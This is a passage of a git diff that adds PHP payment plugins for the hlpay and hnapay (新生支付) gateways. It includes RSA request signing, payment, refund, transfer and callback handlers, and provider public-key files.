'amount' => $bizParam['money'], + 'client_ip' => $clientip, + 'subject' => '转账', + 'payee_name' => $bizParam['payee_real_name'], + 'payee_account' => $bizParam['payee_account'], + ]; + + try{ + $result = $client->execute('/payment.transfer/create', $param); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + if($result['state'] == 3){ + $status = 1; + }elseif($result['state'] == 0){ + $status = 2; + }else{ + $status = 0; + } + return ['code'=>0, 'status'=>$status, 'orderid'=>$result['pay_order_id'], 'paydate'=>date('Y-m-d H:i:s')]; + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + require_once PAY_ROOT."inc/HlpayClient.php"; + + $client = new HlpayClient($channel['appmchid'], $channel['appid'], $channel['appkey'], $channel['appsecret']); + + $param = [ + 'mch_order_no' => $bizParam['out_biz_no'], + ]; + + try{ + $result = $client->execute('/payment.transfer/query', $param); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + if($result['state'] == 3){ + $status = 1; + }elseif($result['state'] == 0){ + $status = 2; + $errmsg = '转账失败'; + }else{ + $status = 0; + } + + return ['code'=>0, 'status'=>$status, 'amount'=>$result['amount'], 'paydate'=>$result['success_time'], 'errmsg'=>$errmsg]; + } +} \ No newline at end of file diff --git a/plugins/hlpay/inc/HlpayClient.php b/plugins/hlpay/inc/HlpayClient.php new file mode 100644 index 0000000..db3a0ab --- /dev/null +++ b/plugins/hlpay/inc/HlpayClient.php @@ -0,0 +1,109 @@ +ins_id = $ins_id; + $this->app_id = $app_id; + $this->merchant_private_key = $merchant_private_key; + $this->platform_public_key = $platform_public_key; + } + + //请求API接口并解析返回数据 + public function execute($path, $bizContent) + { + $requrl = $this->gateway_url . $path; + $params = [ + 'ins_id' => $this->ins_id, + 'app_id' => $this->app_id, + 'sign_type' => $this->sign_type, + 'timestamp' => time(), + 'biz_content' => json_encode($bizContent) + ]; + $params['sign'] = $this->generateSign($params); + $response = get_curl($requrl, http_build_query($params)); + $result = json_decode($response, true); + if(isset($result['code']) && $result['code']==1){ + return $result['data']; + }elseif(isset($result['msg'])){ + throw new Exception($result['msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //获取待签名字符串 + private function getSignContent($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=='' && $v!==null){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + //请求参数签名 + private function generateSign($param){ + return $this->rsaPrivateSign($this->getSignContent($param)); + } + + //验签方法 + public function verifySign($param){ + if(empty($param['sign'])) return false; + return $this->rsaPubilcSign($this->getSignContent($param), $param['sign']); + } + + //应用私钥签名 + private function rsaPrivateSign($data){ + $priKey = $this->merchant_private_key; + $res = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($priKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $pkeyid = openssl_pkey_get_private($res); + if(!$pkeyid){ + throw new Exception('签名失败,应用私钥不正确'); + } + openssl_sign($data, $signature, $pkeyid, OPENSSL_ALGO_SHA256); + $signature = base64_encode($signature); + return $signature; + } + + //平台公钥验签 + private function rsaPubilcSign($data, $signature){ + $pubKey = $this->platform_public_key; + $res = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($pubKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $pubkeyid = openssl_pkey_get_public($res); + if(!$pubkeyid){ + throw new Exception('验签失败,平台公钥不正确'); + } + $result = openssl_verify($data, base64_decode($signature), $pubkeyid, OPENSSL_ALGO_SHA256); + return $result === 1; + } +} diff --git a/plugins/hnapay/cert/hnapay.pem b/plugins/hnapay/cert/hnapay.pem new file mode 100644 index 0000000..7ed995b --- /dev/null +++ b/plugins/hnapay/cert/hnapay.pem @@ -0,0 +1,6 @@ +-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCf21zJo95Uf9KKPLxagqzaT+L0 +fvsKuLG5cW5rzzHKwgfe8TkU2/ZnI2T0DowRvz7w98kfKBKxu0q/VV8QV21Ui/Ax +OXdfrbQEQ/QVSXtF8NtCpaXqcSOdNQF9dDNpx/VrDpaarv6xp/4nfbeAlf+t6IdU +kfo8Rz0Ne5fihpsSRwIDAQAB +-----END PUBLIC KEY----- \ No newline at end of file diff --git a/plugins/hnapay/cert/hnapaypay.pem b/plugins/hnapay/cert/hnapaypay.pem new file mode 100644 index 0000000..1cc0d2d --- /dev/null +++ b/plugins/hnapay/cert/hnapaypay.pem @@ -0,0 +1,6 @@ +-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCSU82GM2kEr/s9mvUmMvZjm/Yq +15nWSHWl+rPemOP0/WGCu7xI96OnK94IA5YMMdmou27Nlk2M8+g29IEOBleAwZkI +8MW9FO8ceFI+l0uyBuisd6GEKPLOB7CQb7XKkis/a9dLqxR+aGiWgkC7/E8dlNUm +JUV53TGrgZ2yiVeyVQIDAQAB +-----END PUBLIC KEY----- \ No newline at end of file diff --git a/plugins/hnapay/hnapay_plugin.php b/plugins/hnapay/hnapay_plugin.php new file mode 100644 index 0000000..21f79fd --- /dev/null +++ b/plugins/hnapay/hnapay_plugin.php @@ -0,0 +1,577 @@ + 'hnapay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '新生支付', //支付插件显示名称 + 'author' => '新生支付', //支付插件作者 + 'link' => 'https://www.hnapay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['bank'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户ID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '新生公钥(新收款密钥)', + 'type' => 'textarea', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户私钥(新收款密钥)', + 'type' => 'textarea', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '报备编号', + 'type' => 'input', + 'note' => '', + ], + 'appswitch' => [ + 'name' => '接口类型', + 'type' => 'select', + 'options' => [0 => '公众号/生活号支付', 1 => '支付宝H5', 2 => '扫码支付'], + ], + ], + 'select' => null, + 'note' => '需要使用RSA密钥!
    如使用扫码支付,需将收款密钥中的商户私钥上传到/plugins/hnapay/cert/mch.key(或cert/商户ID/mch.key)
    如使用付款功能,需将付款密钥中的商户私钥上传到/plugins/hnapay/cert/pay.key(或cert/商户ID/pay.key)', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if($channel['appswitch']==0 && checkalipay()){ + return ['type' => 'jump', 'url' => '/pay/alipayjs/' . TRADE_NO . '/?d=1']; + }elseif($channel['appswitch']==1 && checkalipay()){ + return ['type' => 'jump', 'url' => '/pay/alipayh5/' . TRADE_NO . '/']; + }else{ + return ['type' => 'jump', 'url' => '/pay/alipay/' . TRADE_NO . '/']; + } + }elseif($order['typename']=='wxpay'){ + if($channel['appswitch']==0 && checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($channel['appswitch']==0 && checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + if($channel['appswitch']==0 && $mdevice=='alipay'){ + return ['type' => 'jump', 'url' => '/pay/alipayjs/' . TRADE_NO . '/?d=1']; + }elseif($channel['appswitch']==1 && $mdevice=='alipay'){ + return ['type' => 'jump', 'url' => '/pay/alipayh5/' . TRADE_NO . '/']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($channel['appswitch']==0 && $mdevice=='wechat'){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($channel['appswitch']==0 && $device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //二维码下单通用 + static private function qrcode($orgCode){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/HnaPayApi.class.php'); + + $param = [ + 'merOrderNum' => TRADE_NO, + 'tranAmt' => strval($order['realmoney']*100), + 'submitTime' => substr(TRADE_NO, 0, 14), + 'orgCode' => $orgCode, + 'goodsName' => $ordername, + 'tranIP' => $clientip, + 'notifyUrl' => $conf['localurl'].'pay/notifys/'.TRADE_NO.'/', + 'weChatMchId' => $channel['appmchid'], + ]; + + $pay = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret'], 1); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($pay, $param) { + $result = $pay->scanPay($param); + return $result['qrCodeUrl']; + }); + } + + //JSAPI下单通用 + static private function jsapi($orgCode, $appId, $openId){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/HnaPayApi.class.php'); + + $param = [ + 'tranAmt' => $order['realmoney'], + 'orgCode' => $orgCode, + 'notifyServerUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'merUserIp' => $clientip, + 'goodsInfo' => $ordername, + 'orderSubject' => $ordername, + 'merchantId' => $channel['appmchid'], + ]; + if($orgCode == 'WECHATPAY'){ + $param += [ + 'appId' => $appId, + 'openId' => $openId, + ]; + }elseif($orgCode == 'ALIPAY'){ + $param += [ + 'aliAppId' => $appId, + 'buyerId' => $openId, + ]; + } + + $pay = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($pay, $param) { + $result = $pay->jsapiPay($param, TRADE_NO); + return $result['payInfo']; + }); + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $siteurl; + if($channel['appswitch']==2){ + try{ + $code_url = self::qrcode('ALIPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + }elseif($channel['appswitch']==1){ + if(checkmobile()){ + return self::alipayh5(); + }else{ + $code_url = $siteurl.'pay/alipayh5/'.TRADE_NO.'/?d=1'; + } + }else{ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + } + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //支付宝JS支付 + static public function alipayjs(){ + global $conf; + + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + $achannel = \lib\Channel::get($conf['login_alipay']); + + try{ + $retData = self::jsapi('ALIPAY', $achannel['appid'], $user_id); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$retData['tradeNO'], 'redirect_url'=>$redirect_url]]; + } + + //支付宝H5支付 + static public function alipayh5(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if($_GET['d']=='1'){ + $front_url=$siteurl.'pay/ok/'.TRADE_NO.'/'; + }else{ + $front_url=$siteurl.'pay/return/'.TRADE_NO.'/'; + } + require(PAY_ROOT.'inc/HnaPayApi.class.php'); + $param = [ + 'tranAmt' => $order['realmoney'], + 'payType' => 'HnaZFB', + 'exPayMode'=>'', + 'cardNo'=>'', + 'holderName'=>'', + 'identityCode'=>'', + 'merUserId'=>'', + 'orderExpireTime'=>'10', + 'frontUrl' => $front_url, + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'riskExpand'=>'', + 'goodsInfo'=>'', + 'orderSubject' => $ordername, + 'orderDesc'=>'', + 'merchantId' => json_encode(['02'=>$channel['appmchid']]), + 'bizProtocolNo'=>'', + 'payProtocolNo'=>'', + 'merUserIp' => $clientip, + 'payLimit'=>'', + ]; + $pay = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret']); + $html = $pay->h5Pay($param, TRADE_NO); + return ['type'=>'html','data'=>$html]; + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $siteurl, $device, $mdevice; + if($channel['appswitch']==2){ + try { + $code_url = self::qrcode('WECHATPAY'); + } catch (Exception $ex) { + return ['type' => 'error', 'msg' => '微信支付下单失败!' . $ex->getMessage()]; + } + }else{ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + } + if($mdevice == 'wechat' || checkwechat()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif ($device == 'mobile' || checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + try{ + $pay_info = self::jsapi('WECHATPAY', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>json_encode($pay_info), 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + try{ + $pay_info = self::jsapi('WECHATPAY', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败 '.$ex->getMessage()])); + } + + exit(json_encode(['code'=>0, 'data'=>$pay_info])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxa']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::qrcode('UNIONPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'银联云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + if(!isset($_POST)) return ['type'=>'html','data'=>'no_data']; + //file_put_contents('logs.txt' , http_build_query($_POST)); + + require(PAY_ROOT.'inc/HnaPayApi.class.php'); + + $pay = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret']); + + if($_POST['tranCode'] == 'MUP11'){ + $verify_result = $pay->alipayh5Verify($_POST); + }else{ + $verify_result = $pay->jsapiVerify($_POST); + } + if($verify_result){ + if($_POST['resultCode'] == '0000'){ + $out_trade_no = $_POST['merOrderId']; + $trade_no = $_POST['hnapayOrderId']; + if(!empty($_POST['bankOrderId'])) $trade_no = $_POST['bankOrderId']; + $bill_trade_no = $_POST['realBankOrderId']; + if($order['type'] == 1 && substr($bill_trade_no, 0, 4) != date('Y') && substr($bill_trade_no, 2, 4) == date('Y')) $bill_trade_no = substr($bill_trade_no, 2); + $money = $_POST['tranAmt']; + $buyer = $_POST['userId']; + + if ($out_trade_no == TRADE_NO) { + processNotify($order, $trade_no, $buyer, $bill_trade_no); + } + return ['type'=>'html','data'=>'200']; + }else{ + return ['type'=>'html','data'=>'200']; + } + }else{ + return ['type'=>'html','data'=>'sign_error']; + } + } + + //异步回调(扫码支付) + static public function notifys(){ + global $channel, $order; + + //file_put_contents('logs.txt' , http_build_query($_POST)); + + require(PAY_ROOT.'inc/HnaPayApi.class.php'); + + $pay = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret'], 1); + + if($pay->scanVerify($_POST)){ + if($_POST['respCode'] == '0000'){ + $out_trade_no = $_POST['merOrderNum']; + $trade_no = $_POST['hnapayOrderId']; + if(!empty($_POST['bankOrderId'])) $trade_no = $_POST['bankOrderId']; + $bill_trade_no = $_POST['realBankOrderId']; + if($order['type'] == 1 && substr($bill_trade_no, 0, 4) != date('Y') && substr($bill_trade_no, 2, 4) == date('Y')) $bill_trade_no = substr($bill_trade_no, 2); + $money = $_POST['tranAmt']; + $buyer = $_POST['userId']; + + if ($out_trade_no == TRADE_NO) { + processNotify($order, $trade_no, $buyer, $bill_trade_no); + } + return ['type'=>'html','data'=>'200']; + }else{ + return ['type'=>'html','data'=>'200']; + } + }else{ + return ['type'=>'html','data'=>'sign_error']; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel, $conf; + if(empty($order))exit(); + + require(PAY_ROOT.'inc/HnaPayApi.class.php'); + + $param = [ + 'orgMerOrderId' => $order['trade_no'], + 'orgSubmitTime' => substr($order['trade_no'], 0, 14), + 'orderAmt' => $order['realmoney'], + 'refundOrderAmt' => $order['refundmoney'], + 'notifyUrl' => $conf['localurl'].'pay/refundnotify/'.TRADE_NO.'/', + ]; + + try{ + $pay = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret']); + $result = $pay->refund($param, $order['refund_no']); + return ['code'=>0, 'trade_no'=>$result['orgMerOrderId'], 'refund_fee'=>$result['refundAmt']]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //退款异步回调 + static public function refundnotify(){ + global $channel, $order; + + require(PAY_ROOT.'inc/HnaPayApi.class.php'); + $pay = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret']); + if($pay->jsapiVerify($_POST)){ + if($_POST['resultCode'] == '0000'){ + return ['type'=>'html','data'=>'200']; + }else{ + return ['type'=>'html','data'=>'status_error']; + } + }else{ + return ['type'=>'html','data'=>'sign_error']; + } + } + + //转账 + static public function transfer($channel, $bizParam){ + global $conf, $clientip; + if(empty($channel) || empty($bizParam))exit(); + + require(PLUGIN_ROOT.'hnapay/inc/HnaPayApi.class.php'); + + $param = [ + 'tranAmt' => $bizParam['money'], + 'payType' => '1', + 'auditFlag' => '0', + 'payeeName' => $bizParam['payee_real_name'], + 'payeeAccount' => $bizParam['payee_account'], + 'note' => '', + 'remark' => $bizParam['transfer_desc'], + 'bankCode' => '', + 'payeeType' => '1', + 'notifyUrl' => $conf['localurl'].'pay/transfernotify/'.$channel['id'].'/', + 'paymentTerminalInfo' => '01|A10001', + 'deviceInfo' => $clientip, + ]; + + try{ + $client = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret'], 2); + $result = $client->transfer($param, $bizParam['out_biz_no']); + return ['code'=>0, 'status'=>0, 'orderid'=>$result['hnapayOrderId'], 'paydate'=>date('Y-m-d H:i:s')]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + require(PLUGIN_ROOT.'hnapay/inc/HnaPayApi.class.php'); + + try{ + $client = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret'], 2); + $result = $client->transferQuery($bizParam['out_biz_no']); + if($result['orderStatus'] == '1'){ + $status = 1; + }elseif($result['orderStatus'] == '0' || $result['orderStatus'] == '3'){ + $status = 0; + }else{ + $status = 2; + } + if($result['orderFailedCode']){ + $errmsg = '['.$result['orderFailedCode'].']'.$result['orderFailedMsg']; + } + return ['code'=>0, 'status'=>$status, 'amount'=>$result['tranAmt'], 'paydate'=>date('Y-m-d H:i:s', strtotime($result['successTime'])), 'errmsg'=>$errmsg]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //电子回单 + static public function transfer_proof($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + require(PLUGIN_ROOT.'hnapay/inc/HnaPayApi.class.php'); + + try{ + $client = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret'], 2); + $result = $client->transferProof($bizParam['orderid']); + file_put_contents(ROOT.'assets/uploads/'.$bizParam['orderid'].'.png', base64_decode($result['payCertificate'])); + $image = '/assets/uploads/'.$bizParam['orderid'].'.png'; + return ['code'=>0, 'msg'=>'电子回单生成成功!', 'download_url'=>$image]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //余额查询 + static public function balance_query($channel, $bizParam){ + if(empty($channel))exit(); + + require(PLUGIN_ROOT.'hnapay/inc/HnaPayApi.class.php'); + + try{ + $client = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret']); + $result = $client->queryBalance(); + return ['code'=>0, 'amount'=>$result['avaBalance'], 'msg'=>'当前账户可用余额:'.$result['avaBalance'].' 元,待结转金额:'.$result['pendAmt']]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //付款异步回调 + static public function transfernotify(){ + global $channel; + + require(PAY_ROOT.'inc/HnaPayApi.class.php'); + $pay = new HnaPayApi($channel['appid'], $channel['appkey'], $channel['appsecret'], 2); + if($pay->transferVerify($_POST)){ + if($_POST['resultCode'] == '0000'){ + $status = 1; + }else{ + $status = 2; + } + if($_POST['errorMsg']){ + $errmsg = '['.$_POST['errorCode'].']'.$_POST['errorMsg']; + } + processTransfer($_POST['merOrderId'], $status, $errmsg); + return ['type'=>'html','data'=>'200']; + }else{ + return ['type'=>'html','data'=>'sign_error']; + } + } + +} \ No newline at end of file diff --git a/plugins/hnapay/inc/HnaPayApi.class.php b/plugins/hnapay/inc/HnaPayApi.class.php new file mode 100644 index 0000000..acba010 --- /dev/null +++ b/plugins/hnapay/inc/HnaPayApi.class.php @@ -0,0 +1,503 @@ +mer_id = $mer_id; + if($key_type == 2){ + $platform_public_key_path = PLUGIN_ROOT.'hnapay/cert/hnapaypay.pem'; + if(file_exists(PLUGIN_ROOT.'hnapay/cert/'.$mer_id.'/pay.key')){ + $merchant_private_key_path = PLUGIN_ROOT.'hnapay/cert/'.$mer_id.'/pay.key'; + }else{ + $merchant_private_key_path = PLUGIN_ROOT.'hnapay/cert/pay.key'; + } + if(!file_exists($merchant_private_key_path)) { + throw new Exception('商户私钥文件pay.key不存在'); + } + $this->platform_public_key = $this->loadPublicKeyFile($platform_public_key_path); + $this->merchant_private_key = $this->loadPrivateKeyFile($merchant_private_key_path); + }elseif($key_type == 1){ + $platform_public_key_path = PLUGIN_ROOT.'hnapay/cert/hnapay.pem'; + if(file_exists(PLUGIN_ROOT.'hnapay/cert/'.$mer_id.'/mch.key')){ + $merchant_private_key_path = PLUGIN_ROOT.'hnapay/cert/'.$mer_id.'/mch.key'; + }else{ + $merchant_private_key_path = PLUGIN_ROOT.'hnapay/cert/mch.key'; + } + if(!file_exists($merchant_private_key_path)) { + throw new Exception('商户私钥文件mch.key不存在'); + } + $this->platform_public_key = $this->loadPublicKeyFile($platform_public_key_path); + $this->merchant_private_key = $this->loadPrivateKeyFile($merchant_private_key_path); + }else{ + $this->platform_public_key = $this->loadPublicKey($platform_public_key); + $this->merchant_private_key = $this->loadPrivateKey($merchant_private_key); + } + } + + //扫码支付 + public function scanPay($params){ + $apiurl = 'https://gateway.hnapay.com/website/scanPay.do'; + $publicParams = [ + 'tranCode' => 'WS01', + 'version' => '2.1', + 'merId' => $this->mer_id, + 'payType' => 'QRCODE_B2C', + 'charset' => $this->charset, + 'signType' => $this->sign_type + ]; + $params = array_merge($publicParams, $params); + + $sign_order = ['tranCode', 'version', 'merId', 'submitTime', 'merOrderNum', 'tranAmt', 'payType', 'orgCode', 'notifyUrl', 'charset', 'signType']; + $params['signMsg'] = $this->generateSignOld($params, $sign_order); + + $response = get_curl($apiurl, http_build_query($params)); + $arr = json_decode($response, true); + + if(isset($arr['resultCode']) && $arr['resultCode'] == '0000'){ + if(!empty($arr['signMsg'])){ + $sign_order = ['tranCode', 'version', 'merId', 'merOrderNum', 'tranAmt', 'submitTime', 'qrCodeUrl', 'hnapayOrderId', 'resultCode', 'charset', 'signType']; + if(!$this->verifySignOld($arr, $sign_order, $arr['signMsg'])){ + throw new Exception('返回结果验签失败'); + } + } + $arr['qrCodeUrl'] = getSubstr($arr['qrCodeUrl'], 'qrContent=', '&sign='); + return $arr; + }elseif(isset($arr['resultCode'])){ + throw new Exception('['.$arr['resultCode'].']'.$arr['msgExt']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //扫码支付查单 + public function scanQuery($trade_no){ + $apiurl = 'https://gateway.hnapay.com/website/queryOrderResult.htm'; + $param = [ + 'version' => "2.8", + 'serialID' => date("YmdHis").rand(11111,99999), + 'mode' => '1', + 'type' => "1", + 'orderID' => $trade_no, + 'partnerID' => $this->mer_id, + 'signType' => $this->sign_type, + 'charset' => $this->charset, + ]; + + $sign_order = ['version', 'serialID', 'mode', 'type', 'orderID', 'beginTime', 'endTime', 'partnerID', 'remark', 'charset', 'signType']; + $signStr = ''; + foreach($sign_order as $key){ + $signStr .= $key.'='.$param[$key].'&'; + } + $signStr = substr($signStr, 0, -1); + $param['signMsg'] = $this->rsaPrivateSign($signStr, true); + + $response = get_curl($apiurl, http_build_query($param)); + $arr = []; + parse_str($response, $arr); + + if(isset($arr['resultCode']) && $arr['resultCode'] == '0000'){ + return $arr; + }elseif(isset($arr['resultCode'])){ + throw new Exception('['.$arr['resultCode'].']'.$arr['ErrorCode']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //扫码支付回调验签 + public function scanVerify($param){ + if(!$param['signMsg']) return false; + $sign_order = ['tranCode', 'version', 'merId', 'merOrderNum', 'tranAmt', 'submitTime', 'hnapayOrderId', 'tranFinishTime', 'respCode', 'charset', 'signType']; + return $this->verifySignOld($param, $sign_order, $param['signMsg']); + } + + //JSAPI支付 + public function jsapiPay($params, $trade_no){ + $apiurl = 'https://gateway.hnapay.com/ita/inCharge.do'; + $param = [ + 'version' => "2.0", + 'tranCode' => "ITA10", + 'merId' => $this->mer_id, + 'merOrderId' => $trade_no, + 'submitTime' => substr($trade_no, 0, 14), + 'signType' => $this->sign_type, + 'charset' => $this->charset, + ]; + + $param['msgCiphertext'] = $this->encryptParams($params); + + $sign_order = ['version', 'tranCode', 'merId', 'merOrderId', 'submitTime', 'msgCiphertext']; + $param['signValue'] = $this->generateSign($param, $sign_order); + + $response = get_curl($apiurl, http_build_query($param)); + $arr = json_decode($response, true); + //print_r($arr);exit; + + if(isset($arr['resultCode']) && $arr['resultCode'] == '0000'){ + if(!empty($arr['signValue'])){ + $sign_order = ['version', 'tranCode', 'merOrderId', 'merId', 'charset', 'signType', 'resultCode', 'errorCode', 'hnapayOrderId', 'payInfo']; + if(!$this->verifySign($arr, $sign_order, $arr['signValue'])){ + throw new Exception('返回结果验签失败'); + } + } + return $arr; + }elseif(isset($arr['errorCode'])){ + throw new Exception('['.$arr['errorCode'].']'.$arr['errorMsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //JSAPI支付与H5支付查单 + public function jsapiQuery($trade_no){ + $apiurl = 'https://gateway.hnapay.com/exp/query.do'; + $param = [ + 'version' => "2.0", + 'tranCode' => "EXP08", + 'merId' => $this->mer_id, + 'merOrderId' => $trade_no, + 'submitTime' => substr($trade_no, 0, 8), + 'signType' => $this->sign_type, + 'charset' => $this->charset, + ]; + + $sign_order = ['version', 'tranCode', 'merId', 'merOrderId', 'submitTime']; + $param['signValue'] = $this->generateSign($param, $sign_order); + + $response = get_curl($apiurl, http_build_query($param)); + $arr = json_decode($response, true); + + if(isset($arr['resultCode']) && $arr['resultCode'] == '0000'){ + return $arr; + }elseif(isset($arr['errorCode'])){ + throw new Exception('['.$arr['errorCode'].']'.$arr['errorMsg']); + }else{ + throw new 